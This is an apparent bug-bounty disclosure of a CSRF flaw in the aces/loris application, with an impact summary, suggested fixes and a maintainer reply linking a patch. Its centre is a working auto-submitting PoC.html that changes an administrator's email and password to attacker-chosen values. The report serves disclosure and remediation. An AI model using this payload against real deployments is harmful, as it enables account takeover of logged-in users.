Cross-Site Request Forgery (CSRF) in aces/loris
Reported on
Aug 17th 2021
✍️ Description
Attacker able to edit any Information with CSRF attack.
It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.
In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can edit any Information , this means only with visiting a site a user Information will be edited.
🕵️♂️ Proof of Concept
1.fisrt admin already should be logged in Firefox or Safari.
2.Open the PoC.html (it is auto-submit).
3.Here a user information will be changed to @Twer65653232
and with email attacker@example.com
after the PoC.html file opened.
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/demo.loris.ca\/my_preferences\/", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "First_name=Admin&Last_name=account&Email=attacker%40example.com&Password_hash=%40Twer65653232&__Confirm=%40Twer65653232&language_preference=1&fire_away=Save";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
💥 Impact
This vulnerability is capable of edit any Information that lead to account take over.
Fix
The easiest way that you set strict
attribute on each cookie.
The best way is that you set a CSRF token in each endpoint.
Occurrences
Thank you for reporting this.
This should be fixed by the same bugfix for the samesite session cookie attribute as your other reports. https://github.com/aces/Loris/pull/7539